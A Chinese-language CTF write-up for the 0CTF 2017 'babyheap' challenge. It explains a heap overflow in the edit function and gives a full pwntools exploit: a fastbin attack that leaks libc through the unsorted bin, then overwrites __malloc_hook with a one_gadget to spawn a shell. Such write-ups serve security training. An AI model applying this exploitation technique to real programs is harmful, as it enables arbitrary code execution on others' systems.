babyheap_0ctf_2017(fastbins attack)

索引

    • 基本信息
    • IDA分析
          • add
          • edit
          • free
          • show
    • 思路
    • exp图
    • exp
    • 补充点

基本信息

    Arch:     amd64-64-little
    RELRO:    Full RELRO #无法got
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    dynamically linked   
    16.04

IDA分析

add

babyheap_0ctf_2017(fastbins attack)_第1张图片

edit

babyheap_0ctf_2017(fastbins attack)_第2张图片

free

babyheap_0ctf_2017(fastbins attack)_第3张图片

show

babyheap_0ctf_2017(fastbins attack)_第4张图片

思路

  1. PIE和Full RELRO保证了不能通过更改GOT表劫持控制流,可以控制用__malloc_hook__free_hook劫持
  2. 漏洞点:在edit的时候没有限制size的大小,导致可以利用覆盖到下一个chunk的content,这样可以伪造in_use_sizefd或者bk
  3. 首先创造3个0x10的chunk和一个0x80的chunk通过free掉index =1和index=2的chunk将index=2的chunk加入到main_arena中
  4. 这时候我们就要用index=2的fd的最后一位伪造成0x80的chunk,通过过调试,知道index=3的头的地址最后一位是0x80,所以我们只要利用size位没有限制进行溢出覆盖p8(0x80),这样原来free掉的第一个chunk被我们给改为了,index=3的chunk。
  5. 这时候我们申请两次 ,第二次就可以申请到index = 3的chunk但是,内存机制会检查大小,所以我们需要先将index=3的size位改为0x21 ,这样我们就顺利的将我们index=3的chunk加入到了,main_area中,我们free掉index = 3 ,这里还要注意一点就是为了防止和top chunk合并 我们在申请一个0x80的chunk,先在free掉index=3 在打印index =2 我们就可以接受收到了fd。

exp图

babyheap_0ctf_2017(fastbins attack)_第5张图片

exp

#coding=utf8 
from pwn import * 
context.log_level = 'debug'  

local = 1 
if local: 
	p = process('./babyheap_0ctf_2017') 
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else: 
	p = remote()
	libc = ELF('libc.so.6') 
pass

def add(size):
	p.sendlineafter("Command: ",str(1))
	p.sendlineafter("Size: ",str(size))

def edit(index,size,Content):
	p.sendlineafter("Command: ",str(2))
	p.sendlineafter("Index: ",str(index))
	p.sendlineafter("Size: ",str(size))
	p.sendlineafter("Content: ",Content)

def free(index):
	p.sendlineafter("Command: ",str(3))
	p.sendlineafter("Index: ",str(index))

def show(index):
	p.sendlineafter("Command: ",str(4))
	p.sendlineafter("Index: ",str(index))

def debug():
    print("[+]----pid%s"%proc.pidof(p)) 
    pause()   
lg=lambda address,data:log.success('[+]---->%s: '%(address)+hex(data)) 
#---------------------------------------------------------->
def pwn():
	add(0x10) #0 write 这是用来给next chunk写入伪造数据
	add(0x10) #1
	add(0x10) #2
	add(0x10) #3 write 同0
	add(0x80) #4
	add(0x80) #5 防止top chunk合并 这里需要注意 
	free(1)
	free(2)

	payload =  p64(0)*3+p64(0x21)
	payload += p64(0)*3+p64(0x21)
	payload += p8(0x80)
	edit(0,len(payload),payload)


	payload = p64(0)*3+p64(0x21)
	edit(3,len(payload),payload)

	#----2----
	add(0x10)#new_1 chunk2
	add(0x10) #new_2<--->index= 4

	payload1 = p64(0)*3
	payload1 += p64(0x91) #加入fastbins的chunk是要检查size的
	edit(3,len(payload1),payload1)  # examine size 恢复

	free(4)
	show(2) #chunk2和chunk4占用了同一块空间

	#----0----
	p.recvuntil("Content: \n")
	libc_base = u64(p.recv(8)) - 0x58 -0x3c4b20 #可以利用xinfo 
	lg("libc_base",libc_base)
	malloc_hook = libc_base+ libc.symbols['__malloc_hook'] 
	lg("malloc_hook ",malloc_hook )
	#-----3----
	add(0x60) #提供一个0x70的chunk
	free(4)

	fake_addr = malloc_hook -0x20 -0x3
	payload2 = p64(fake_addr)
	edit(2,len(payload2),payload2)
	debug()
	add(0x60) #index=4
	add(0x60) #index=6 fake_addr

	#----4----get shell
	payload3 = "A"*0x13
	payload3 += p64(libc_base+0x4526a)
	edit(6,len(payload3),payload3)
	add(0x1)
	
	p.interactive()

if __name__ == "__main__":
	pwn()

补充点

利用 xinfo 0xdeedbeef 快速算偏移
合理利用debug()查看pid 调试,这里w是用vscode,所以不方便使用attach()
fastbins 特性:在链表中加入chunk会检查size,所以想要利用就要伪造previous_size位
unsortedbin 特性:加入链表中的chunk的指向 main_arena,可以用来泄露 libc_base

你可能感兴趣的:(#,BUUCTF_pwn)